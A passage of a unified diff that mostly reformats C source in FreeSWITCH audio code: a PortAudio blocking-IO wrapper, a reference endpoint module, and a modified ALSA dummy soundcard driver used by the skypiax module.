unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData);
|
||||
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags,
|
||||
void *userData);
|
||||
|
||||
static PaError PABLIO_InitFIFO(PaUtilRingBuffer * rbuf, long numFrames, long bytesPerFrame);
|
||||
static PaError PABLIO_TermFIFO(PaUtilRingBuffer * rbuf);
|
||||
@@ -74,7 +76,7 @@ static PaError PABLIO_TermFIFO(PaUtilRingBuffer * rbuf);
|
||||
* Read and write data
|
||||
*/
|
||||
static int iblockingIOCallback(const void *inputBuffer, void *outputBuffer,
|
||||
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
|
||||
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
|
||||
{
|
||||
PABLIO_Stream *data = (PABLIO_Stream *) userData;
|
||||
long numBytes = data->bytesPerFrame * framesPerBuffer;
|
||||
@@ -91,7 +93,7 @@ static int iblockingIOCallback(const void *inputBuffer, void *outputBuffer,
|
||||
}
|
||||
|
||||
static int oblockingIOCallback(const void *inputBuffer, void *outputBuffer,
|
||||
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
|
||||
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
|
||||
{
|
||||
PABLIO_Stream *data = (PABLIO_Stream *) userData;
|
||||
long numBytes = data->bytesPerFrame * framesPerBuffer;
|
||||
@@ -109,7 +111,8 @@ static int oblockingIOCallback(const void *inputBuffer, void *outputBuffer,
|
||||
}
|
||||
|
||||
static int ioblockingIOCallback(const void *inputBuffer, void *outputBuffer,
|
||||
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
|
||||
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags,
|
||||
void *userData)
|
||||
{
|
||||
iblockingIOCallback(inputBuffer, outputBuffer, framesPerBuffer, timeInfo, statusFlags, userData);
|
||||
oblockingIOCallback(inputBuffer, outputBuffer, framesPerBuffer, timeInfo, statusFlags, userData);
|
||||
@@ -151,7 +154,7 @@ long WriteAudioStream(PABLIO_Stream * aStream, void *data, long numFrames, switc
|
||||
bytesWritten = PaUtil_WriteRingBuffer(&aStream->outFIFO, p, numBytes);
|
||||
numBytes -= bytesWritten;
|
||||
p += bytesWritten;
|
||||
|
||||
|
||||
if (numBytes > 0) {
|
||||
PaUtil_FlushRingBuffer(&aStream->outFIFO);
|
||||
return 0;
|
||||
@@ -172,7 +175,7 @@ long ReadAudioStream(PABLIO_Stream * aStream, void *data, long numFrames, switch
|
||||
|
||||
switch_core_timer_next(timer);
|
||||
|
||||
while(totalBytes < neededBytes && --max > 0) {
|
||||
while (totalBytes < neededBytes && --max > 0) {
|
||||
|
||||
avail = PaUtil_GetRingBufferReadAvailable(&aStream->inFIFO);
|
||||
//printf("AVAILABLE BYTES %ld pass %d\n", avail, 5000 - max);
|
||||
@@ -182,7 +185,7 @@ long ReadAudioStream(PABLIO_Stream * aStream, void *data, long numFrames, switch
|
||||
} else {
|
||||
|
||||
bytesRead = 0;
|
||||
|
||||
|
||||
if (totalBytes < neededBytes && avail >= neededBytes) {
|
||||
bytesRead = PaUtil_ReadRingBuffer(&aStream->inFIFO, p, neededBytes);
|
||||
totalBytes += bytesRead;
|
||||
@@ -241,10 +244,7 @@ static unsigned long RoundUpToNextPowerOf2(unsigned long n)
|
||||
*/
|
||||
PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
|
||||
const PaStreamParameters * inputParameters,
|
||||
const PaStreamParameters * outputParameters,
|
||||
double sampleRate, PaStreamFlags streamFlags,
|
||||
long samples_per_packet,
|
||||
int do_dual)
|
||||
const PaStreamParameters * outputParameters, double sampleRate, PaStreamFlags streamFlags, long samples_per_packet, int do_dual)
|
||||
{
|
||||
long bytesPerSample = 2;
|
||||
PaError err;
|
||||
@@ -261,7 +261,7 @@ PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
|
||||
aStream = (PABLIO_Stream *) malloc(sizeof(PABLIO_Stream));
|
||||
switch_assert(aStream);
|
||||
memset(aStream, 0, sizeof(PABLIO_Stream));
|
||||
|
||||
|
||||
if (inputParameters) {
|
||||
channels = inputParameters->channelCount;
|
||||
} else if (outputParameters) {
|
||||
@@ -278,7 +278,7 @@ PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
|
||||
if (err != paNoError) {
|
||||
goto error;
|
||||
}
|
||||
aStream-> has_in = 1;
|
||||
aStream->has_in = 1;
|
||||
}
|
||||
|
||||
if (outputParameters) {
|
||||
@@ -286,13 +286,13 @@ PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
|
||||
if (err != paNoError) {
|
||||
goto error;
|
||||
}
|
||||
aStream-> has_out = 1;
|
||||
aStream->has_out = 1;
|
||||
}
|
||||
|
||||
/* Open a PortAudio stream that we will use to communicate with the underlying
|
||||
* audio drivers. */
|
||||
|
||||
aStream->do_dual = do_dual;
|
||||
aStream->do_dual = do_dual;
|
||||
|
||||
if (aStream->do_dual) {
|
||||
err = Pa_OpenStream(&aStream->istream, inputParameters, NULL, sampleRate, samples_per_packet, streamFlags, iblockingIOCallback, aStream);
|
||||
@@ -304,16 +304,18 @@ PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
|
||||
goto error;
|
||||
}
|
||||
} else {
|
||||
err = Pa_OpenStream(&aStream->iostream, inputParameters, outputParameters, sampleRate, samples_per_packet, streamFlags, ioblockingIOCallback, aStream);
|
||||
err =
|
||||
Pa_OpenStream(&aStream->iostream, inputParameters, outputParameters, sampleRate, samples_per_packet, streamFlags, ioblockingIOCallback,
|
||||
aStream);
|
||||
}
|
||||
|
||||
if (err != paNoError) {
|
||||
goto error;
|
||||
}
|
||||
|
||||
|
||||
if (aStream->do_dual) {
|
||||
err = Pa_StartStream(aStream->istream);
|
||||
|
||||
|
||||
if (err != paNoError) {
|
||||
goto error;
|
||||
}
|
||||
@@ -335,7 +337,7 @@ PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
|
||||
*rwblPtr = aStream;
|
||||
|
||||
switch_yield(500000);
|
||||
|
||||
|
||||
return paNoError;
|
||||
|
||||
error:
|
||||
@@ -352,7 +354,7 @@ PaError CloseAudioStream(PABLIO_Stream * aStream)
|
||||
int bytesEmpty;
|
||||
int byteSize;
|
||||
|
||||
|
||||
|
||||
byteSize = aStream->outFIFO.bufferSize;
|
||||
|
||||
if (aStream->has_out) {
|
||||
@@ -375,7 +377,7 @@ PaError CloseAudioStream(PABLIO_Stream * aStream)
|
||||
Pa_CloseStream(aStream->istream);
|
||||
aStream->istream = NULL;
|
||||
}
|
||||
|
||||
|
||||
if (aStream->has_out && aStream->ostream) {
|
||||
if (Pa_IsStreamActive(aStream->ostream)) {
|
||||
Pa_StopStream(aStream->ostream);
|
||||
@@ -384,7 +386,7 @@ PaError CloseAudioStream(PABLIO_Stream * aStream)
|
||||
Pa_CloseStream(aStream->ostream);
|
||||
aStream->ostream = NULL;
|
||||
}
|
||||
|
||||
|
||||
} else {
|
||||
if (aStream->iostream) {
|
||||
if (Pa_IsStreamActive(aStream->iostream)) {
|
||||
@@ -396,10 +398,10 @@ PaError CloseAudioStream(PABLIO_Stream * aStream)
|
||||
}
|
||||
}
|
||||
|
||||
if (aStream->has_in) {
|
||||
if (aStream->has_in) {
|
||||
PABLIO_TermFIFO(&aStream->inFIFO);
|
||||
}
|
||||
|
||||
|
||||
if (aStream->has_out) {
|
||||
PABLIO_TermFIFO(&aStream->outFIFO);
|
||||
}
|
||||
@@ -409,4 +411,3 @@ PaError CloseAudioStream(PABLIO_Stream * aStream)
|
||||
|
||||
return paNoError;
|
||||
}
|
||||
|
||||
@@ -109,7 +109,7 @@ extern "C" {
|
||||
*/
|
||||
PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
|
||||
const PaStreamParameters * inputParameters,
|
||||
const PaStreamParameters * outputParameters,
|
||||
const PaStreamParameters * outputParameters,
|
||||
double sampleRate, PaStreamCallbackFlags statusFlags, long samples_per_packet, int do_dual);
|
||||
|
||||
PaError CloseAudioStream(PABLIO_Stream * aStream);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -106,7 +106,8 @@ static switch_status_t channel_on_exchange_media(switch_core_session_t *session)
|
||||
static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
|
||||
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause);
|
||||
static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
|
||||
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
|
||||
static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
|
||||
@@ -200,7 +201,7 @@ static switch_status_t channel_on_destroy(switch_core_session_t *session)
|
||||
if (switch_core_codec_ready(&tech_pvt->read_codec)) {
|
||||
switch_core_codec_destroy(&tech_pvt->read_codec);
|
||||
}
|
||||
|
||||
|
||||
if (switch_core_codec_ready(&tech_pvt->write_codec)) {
|
||||
switch_core_codec_destroy(&tech_pvt->write_codec);
|
||||
}
|
||||
@@ -414,7 +415,8 @@ static switch_status_t channel_receive_message(switch_core_session_t *session, s
|
||||
*/
|
||||
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause)
|
||||
{
|
||||
if ((*new_session = switch_core_session_request(reference_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
|
||||
private_t *tech_pvt;
|
||||
@@ -447,8 +449,6 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
|
||||
}
|
||||
|
||||
|
||||
|
||||
switch_channel_set_flag(channel, CF_OUTBOUND);
|
||||
switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
|
||||
switch_channel_set_state(channel, CS_INIT);
|
||||
return SWITCH_CAUSE_SUCCESS;
|
||||
@@ -480,13 +480,12 @@ switch_state_handler_table_t reference_state_handlers = {
|
||||
/*.on_hangup */ channel_on_hangup,
|
||||
/*.on_exchange_media */ channel_on_exchange_media,
|
||||
/*.on_soft_execute */ channel_on_soft_execute,
|
||||
/*.on_consume_media*/ NULL,
|
||||
/*.on_hibernate*/ NULL,
|
||||
/*.on_reset*/ NULL,
|
||||
/*.on_park*/ NULL,
|
||||
/*.on_reporting*/ NULL,
|
||||
/*.on_destroy*/ channel_on_destroy
|
||||
|
||||
/*.on_consume_media */ NULL,
|
||||
/*.on_hibernate */ NULL,
|
||||
/*.on_reset */ NULL,
|
||||
/*.on_park */ NULL,
|
||||
/*.on_reporting */ NULL,
|
||||
/*.on_destroy */ channel_on_destroy
|
||||
};
|
||||
|
||||
switch_io_routines_t reference_io_routines = {
|
||||
@@ -591,13 +590,13 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_reference_shutdown)
|
||||
}
|
||||
switch_yield(20000);
|
||||
}
|
||||
|
||||
|
||||
/* Free dynamically allocated strings */
|
||||
switch_safe_free(globals.dialplan);
|
||||
switch_safe_free(globals.codec_string);
|
||||
switch_safe_free(globals.codec_rates_string);
|
||||
switch_safe_free(globals.ip);
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@
|
||||
*
|
||||
*/
|
||||
|
||||
#include <sound/driver.h> //giova
|
||||
#include <sound/driver.h> //giova
|
||||
#include <linux/init.h>
|
||||
#include <linux/err.h>
|
||||
#include <linux/platform_device.h>
|
||||
@@ -44,7 +44,7 @@ MODULE_SUPPORTED_DEVICE("{{ALSA,Dummy soundcard}}");
|
||||
#define MAX_PCM_SUBSTREAMS 128
|
||||
#define MAX_MIDI_DEVICES 2
|
||||
|
||||
#if 0 /* emu10k1 emulation */
|
||||
#if 0 /* emu10k1 emulation */
|
||||
#define MAX_BUFFER_SIZE (128 * 1024)
|
||||
static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
|
||||
{
|
||||
@@ -57,10 +57,11 @@ static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
|
||||
return err;
|
||||
return 0;
|
||||
}
|
||||
|
||||
#define add_playback_constraints emu10k1_playback_constraints
|
||||
#endif
|
||||
|
||||
#if 0 /* RME9652 emulation */
|
||||
#if 0 /* RME9652 emulation */
|
||||
#define MAX_BUFFER_SIZE (26 * 64 * 1024)
|
||||
#define USE_FORMATS SNDRV_PCM_FMTBIT_S32_LE
|
||||
#define USE_CHANNELS_MIN 26
|
||||
@@ -69,7 +70,7 @@ static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
|
||||
#define USE_PERIODS_MAX 2
|
||||
#endif
|
||||
|
||||
#if 0 /* ICE1712 emulation */
|
||||
#if 0 /* ICE1712 emulation */
|
||||
#define MAX_BUFFER_SIZE (256 * 1024)
|
||||
#define USE_FORMATS SNDRV_PCM_FMTBIT_S32_LE
|
||||
#define USE_CHANNELS_MIN 10
|
||||
@@ -78,7 +79,7 @@ static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
|
||||
#define USE_PERIODS_MAX 1024
|
||||
#endif
|
||||
|
||||
#if 0 /* UDA1341 emulation */
|
||||
#if 0 /* UDA1341 emulation */
|
||||
#define MAX_BUFFER_SIZE (16380)
|
||||
#define USE_FORMATS SNDRV_PCM_FMTBIT_S16_LE
|
||||
#define USE_CHANNELS_MIN 2
|
||||
@@ -87,7 +88,7 @@ static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
|
||||
#define USE_PERIODS_MAX 255
|
||||
#endif
|
||||
|
||||
#if 0 /* simple AC97 bridge (intel8x0) with 48kHz AC97 only codec */
|
||||
#if 0 /* simple AC97 bridge (intel8x0) with 48kHz AC97 only codec */
|
||||
#define USE_FORMATS SNDRV_PCM_FMTBIT_S16_LE
|
||||
#define USE_CHANNELS_MIN 2
|
||||
#define USE_CHANNELS_MAX 2
|
||||
@@ -96,12 +97,12 @@ static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
|
||||
#define USE_RATE_MAX 48000
|
||||
#endif
|
||||
|
||||
#if 0 /* CA0106 */
|
||||
#if 0 /* CA0106 */
|
||||
#define USE_FORMATS SNDRV_PCM_FMTBIT_S16_LE
|
||||
#define USE_CHANNELS_MIN 2
|
||||
#define USE_CHANNELS_MAX 2
|
||||
#define USE_RATE (SNDRV_PCM_RATE_48000|SNDRV_PCM_RATE_96000|SNDRV_PCM_RATE_192000)
|
||||
#define USE_RATE_MIN 48000
|
||||
#define USE_RATE (SNDRV_PCM_RATE_48000|SNDRV_PCM_RATE_96000|SNDRV_PCM_RATE_192000)
|
||||
#define USE_RATE_MIN 48000
|
||||
#define USE_RATE_MAX 192000
|
||||
#define MAX_BUFFER_SIZE ((65536-64)*8)
|
||||
#define MAX_PERIOD_SIZE (65536-64)
|
||||
@@ -146,9 +147,10 @@ static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
|
||||
|
||||
static int index[SNDRV_CARDS] = SNDRV_DEFAULT_IDX; /* Index 0-MAX */
|
||||
static char *id[SNDRV_CARDS] = SNDRV_DEFAULT_STR; /* ID for this card */
|
||||
static int enable[SNDRV_CARDS] = {1, [1 ... (SNDRV_CARDS - 1)] = 0};
|
||||
static int pcm_devs[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 1};
|
||||
static int pcm_substreams[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 128};
|
||||
static int enable[SNDRV_CARDS] = { 1,[1...(SNDRV_CARDS - 1)] = 0 };
|
||||
static int pcm_devs[SNDRV_CARDS] = {[0...(SNDRV_CARDS - 1)] = 1 };
|
||||
static int pcm_substreams[SNDRV_CARDS] = {[0...(SNDRV_CARDS - 1)] = 128 };
|
||||
|
||||
//static int midi_devs[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 2};
|
||||
|
||||
module_param_array(index, int, NULL, 0444);
|
||||
@@ -165,14 +167,14 @@ MODULE_PARM_DESC(pcm_substreams, "PCM substreams # (1-64) for dummy driver.");
|
||||
//MODULE_PARM_DESC(midi_devs, "MIDI devices # (0-2) for dummy driver.");
|
||||
|
||||
static struct platform_device *devices[SNDRV_CARDS];
|
||||
static struct timer_list giovatimer; //giova
|
||||
static int giovastarted=0;
|
||||
static int giovaindex=0;
|
||||
static struct timer_list giovatimer; //giova
|
||||
static int giovastarted = 0;
|
||||
static int giovaindex = 0;
|
||||
static spinlock_t giovalock;
|
||||
struct giovadpcm {
|
||||
struct snd_pcm_substream *substream;
|
||||
struct snd_dummy_pcm *dpcm;
|
||||
int started;
|
||||
int started;
|
||||
};
|
||||
static struct giovadpcm giovadpcms[MAX_PCM_SUBSTREAMS];
|
||||
|
||||
@@ -188,8 +190,8 @@ struct snd_dummy {
|
||||
struct snd_card *card;
|
||||
struct snd_pcm *pcm;
|
||||
spinlock_t mixer_lock;
|
||||
int mixer_volume[MIXER_ADDR_LAST+1][2];
|
||||
int capture_source[MIXER_ADDR_LAST+1][2];
|
||||
int mixer_volume[MIXER_ADDR_LAST + 1][2];
|
||||
int capture_source[MIXER_ADDR_LAST + 1][2];
|
||||
};
|
||||
|
||||
struct snd_dummy_pcm {
|
||||
@@ -208,26 +210,24 @@ struct snd_dummy_pcm {
|
||||
|
||||
static inline void snd_card_dummy_pcm_timer_start(struct snd_dummy_pcm *dpcm)
|
||||
{
|
||||
int i;
|
||||
int found=0;
|
||||
int i;
|
||||
int found = 0;
|
||||
|
||||
|
||||
//printk("giova: 1 timer_start %d %p\n", __LINE__, dpcm);
|
||||
for(i=0; i<giovaindex+1; i++){
|
||||
if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
|
||||
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
|
||||
for (i = 0; i < giovaindex + 1; i++) {
|
||||
if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
|
||||
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
|
||||
}
|
||||
|
||||
if (giovadpcms[i].dpcm == dpcm) {
|
||||
giovadpcms[i].started = 1;
|
||||
found = 1;
|
||||
}
|
||||
}
|
||||
if (!found) {
|
||||
printk("skypiax: start, NOT found?\n");
|
||||
}
|
||||
|
||||
if(giovadpcms[i].dpcm == dpcm){
|
||||
giovadpcms[i].started=1;
|
||||
found=1;
|
||||
}
|
||||
}
|
||||
if(!found){
|
||||
printk("skypiax: start, NOT found?\n");
|
||||
}
|
||||
|
||||
|
||||
|
||||
//printk("giova: 2 timer_start %d %p\n", __LINE__, dpcm);
|
||||
}
|
||||
@@ -235,23 +235,23 @@ if(!found){
|
||||
static inline void snd_card_dummy_pcm_timer_stop(struct snd_dummy_pcm *dpcm)
|
||||
{
|
||||
//del_timer(&dpcm->timer);
|
||||
int i;
|
||||
int found=0;
|
||||
int i;
|
||||
int found = 0;
|
||||
|
||||
//printk("giova: 1 timer_stop %d %p\n", __LINE__, dpcm);
|
||||
for(i=0; i<giovaindex +1; i++){
|
||||
for (i = 0; i < giovaindex + 1; i++) {
|
||||
|
||||
if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
|
||||
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
|
||||
if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
|
||||
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
|
||||
}
|
||||
if (giovadpcms[i].dpcm == dpcm) {
|
||||
giovadpcms[i].started = 0;
|
||||
found = 1;
|
||||
}
|
||||
}
|
||||
if(giovadpcms[i].dpcm == dpcm){
|
||||
giovadpcms[i].started=0;
|
||||
found=1;
|
||||
}
|
||||
}
|
||||
if(!found){
|
||||
//printk("skypiax: stop, NOT found?\n");
|
||||
} else {
|
||||
if (!found) {
|
||||
//printk("skypiax: stop, NOT found?\n");
|
||||
} else {
|
||||
//printk("skypiax: stop, YES found!\n");
|
||||
}
|
||||
|
||||
@@ -294,8 +294,7 @@ static int snd_card_dummy_pcm_prepare(struct snd_pcm_substream *substream)
|
||||
struct snd_dummy_pcm *dpcm = runtime->private_data;
|
||||
int bps;
|
||||
|
||||
bps = snd_pcm_format_width(runtime->format) * runtime->rate *
|
||||
runtime->channels / 8;
|
||||
bps = snd_pcm_format_width(runtime->format) * runtime->rate * runtime->channels / 8;
|
||||
|
||||
if (bps <= 0)
|
||||
return -EINVAL;
|
||||
@@ -306,8 +305,7 @@ static int snd_card_dummy_pcm_prepare(struct snd_pcm_substream *substream)
|
||||
dpcm->pcm_period_size = snd_pcm_lib_period_bytes(substream);
|
||||
dpcm->pcm_irq_pos = 0;
|
||||
dpcm->pcm_buf_pos = 0;
|
||||
snd_pcm_format_set_silence(runtime->format, runtime->dma_area,
|
||||
bytes_to_samples(runtime, runtime->dma_bytes));
|
||||
snd_pcm_format_set_silence(runtime->format, runtime->dma_area, bytes_to_samples(runtime, runtime->dma_bytes));
|
||||
|
||||
//printk("giova: prepare %d %p\n", __LINE__, dpcm);
|
||||
return 0;
|
||||
@@ -316,49 +314,49 @@ static int snd_card_dummy_pcm_prepare(struct snd_pcm_substream *substream)
|
||||
static void snd_card_dummy_pcm_timer_function(unsigned long data)
|
||||
{
|
||||
//struct snd_dummy_pcm *dpcm = (struct snd_dummy_pcm *)data;
|
||||
struct snd_dummy_pcm *dpcm=NULL;
|
||||
struct snd_dummy_pcm *dpcm = NULL;
|
||||
//unsigned long flags;
|
||||
int i;
|
||||
|
||||
int i;
|
||||
|
||||
giovatimer.expires = (HZ/100) + jiffies;
|
||||
|
||||
giovatimer.expires = (HZ / 100) + jiffies;
|
||||
add_timer(&giovatimer);
|
||||
|
||||
for(i=0; i< giovaindex +1; i++) {
|
||||
for (i = 0; i < giovaindex + 1; i++) {
|
||||
|
||||
if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
|
||||
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
|
||||
}
|
||||
if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
|
||||
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
|
||||
}
|
||||
//printk("giova: timer_func %d i=%d\n", __LINE__, i);
|
||||
|
||||
if(giovadpcms[i].started != 1)
|
||||
continue;
|
||||
dpcm = giovadpcms[i].dpcm;
|
||||
if(dpcm==NULL){
|
||||
printk("giova: timer_func %d %d NULL: continue\n", __LINE__, i);
|
||||
continue;
|
||||
}
|
||||
if(in_irq())
|
||||
printk("giova: timer_func %d %d we are in HARDWARE IRQ\n", __LINE__, i);
|
||||
//if(in_softirq())
|
||||
if (giovadpcms[i].started != 1)
|
||||
continue;
|
||||
dpcm = giovadpcms[i].dpcm;
|
||||
if (dpcm == NULL) {
|
||||
printk("giova: timer_func %d %d NULL: continue\n", __LINE__, i);
|
||||
continue;
|
||||
}
|
||||
if (in_irq())
|
||||
printk("giova: timer_func %d %d we are in HARDWARE IRQ\n", __LINE__, i);
|
||||
//if(in_softirq())
|
||||
//printk("giova: timer_func %d %d we are in SOFT IRQ\n", __LINE__, i);
|
||||
//printk("giova: timer_func %d %d\n", __LINE__, i);
|
||||
//spin_lock_irqsave(&dpcm->lock, flags);
|
||||
spin_lock_bh(&dpcm->lock);
|
||||
dpcm->pcm_irq_pos += dpcm->pcm_bps * (HZ/100);
|
||||
dpcm->pcm_buf_pos += dpcm->pcm_bps * (HZ/100);
|
||||
dpcm->pcm_buf_pos %= dpcm->pcm_buffer_size * dpcm->pcm_hz;
|
||||
if (dpcm->pcm_irq_pos >= dpcm->pcm_period_size * dpcm->pcm_hz) {
|
||||
dpcm->pcm_irq_pos %= dpcm->pcm_period_size * dpcm->pcm_hz;
|
||||
//spin_unlock_irqrestore(&dpcm->lock, flags);
|
||||
spin_unlock_bh(&dpcm->lock);
|
||||
snd_pcm_period_elapsed(dpcm->substream);
|
||||
} else {
|
||||
//spin_unlock_irqrestore(&dpcm->lock, flags);
|
||||
spin_unlock_bh(&dpcm->lock);
|
||||
//spin_lock_irqsave(&dpcm->lock, flags);
|
||||
spin_lock_bh(&dpcm->lock);
|
||||
dpcm->pcm_irq_pos += dpcm->pcm_bps * (HZ / 100);
|
||||
dpcm->pcm_buf_pos += dpcm->pcm_bps * (HZ / 100);
|
||||
dpcm->pcm_buf_pos %= dpcm->pcm_buffer_size * dpcm->pcm_hz;
|
||||
if (dpcm->pcm_irq_pos >= dpcm->pcm_period_size * dpcm->pcm_hz) {
|
||||
dpcm->pcm_irq_pos %= dpcm->pcm_period_size * dpcm->pcm_hz;
|
||||
//spin_unlock_irqrestore(&dpcm->lock, flags);
|
||||
spin_unlock_bh(&dpcm->lock);
|
||||
snd_pcm_period_elapsed(dpcm->substream);
|
||||
} else {
|
||||
//spin_unlock_irqrestore(&dpcm->lock, flags);
|
||||
spin_unlock_bh(&dpcm->lock);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static snd_pcm_uframes_t snd_card_dummy_pcm_pointer(struct snd_pcm_substream *substream)
|
||||
{
|
||||
@@ -367,76 +365,71 @@ static snd_pcm_uframes_t snd_card_dummy_pcm_pointer(struct snd_pcm_substream *su
|
||||
|
||||
//printk("giova: pointer %d %p\n", __LINE__, dpcm);
|
||||
//return bytes_to_frames(runtime, dpcm->pcm_buf_pos / dpcm->pcm_hz);
|
||||
return (dpcm->pcm_buf_pos / dpcm->pcm_hz)/2;
|
||||
return (dpcm->pcm_buf_pos / dpcm->pcm_hz) / 2;
|
||||
}
|
||||
|
||||
static struct snd_pcm_hardware snd_card_dummy_playback =
|
||||
{
|
||||
.info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
|
||||
SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
|
||||
.formats = USE_FORMATS,
|
||||
.rates = USE_RATE,
|
||||
.rate_min = USE_RATE_MIN,
|
||||
.rate_max = USE_RATE_MAX,
|
||||
.channels_min = USE_CHANNELS_MIN,
|
||||
.channels_max = USE_CHANNELS_MAX,
|
||||
.buffer_bytes_max = MAX_BUFFER_SIZE,
|
||||
.period_bytes_min = 64,
|
||||
.period_bytes_max = MAX_PERIOD_SIZE,
|
||||
.periods_min = USE_PERIODS_MIN,
|
||||
.periods_max = USE_PERIODS_MAX,
|
||||
.fifo_size = 0,
|
||||
static struct snd_pcm_hardware snd_card_dummy_playback = {
|
||||
.info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
|
||||
.formats = USE_FORMATS,
|
||||
.rates = USE_RATE,
|
||||
.rate_min = USE_RATE_MIN,
|
||||
.rate_max = USE_RATE_MAX,
|
||||
.channels_min = USE_CHANNELS_MIN,
|
||||
.channels_max = USE_CHANNELS_MAX,
|
||||
.buffer_bytes_max = MAX_BUFFER_SIZE,
|
||||
.period_bytes_min = 64,
|
||||
.period_bytes_max = MAX_PERIOD_SIZE,
|
||||
.periods_min = USE_PERIODS_MIN,
|
||||
.periods_max = USE_PERIODS_MAX,
|
||||
.fifo_size = 0,
|
||||
};
|
||||
|
||||
static struct snd_pcm_hardware snd_card_dummy_capture =
|
||||
{
|
||||
.info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
|
||||
SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
|
||||
.formats = USE_FORMATS,
|
||||
.rates = USE_RATE,
|
||||
.rate_min = USE_RATE_MIN,
|
||||
.rate_max = USE_RATE_MAX,
|
||||
.channels_min = USE_CHANNELS_MIN,
|
||||
.channels_max = USE_CHANNELS_MAX,
|
||||
.buffer_bytes_max = MAX_BUFFER_SIZE,
|
||||
.period_bytes_min = 64,
|
||||
.period_bytes_max = MAX_PERIOD_SIZE,
|
||||
.periods_min = USE_PERIODS_MIN,
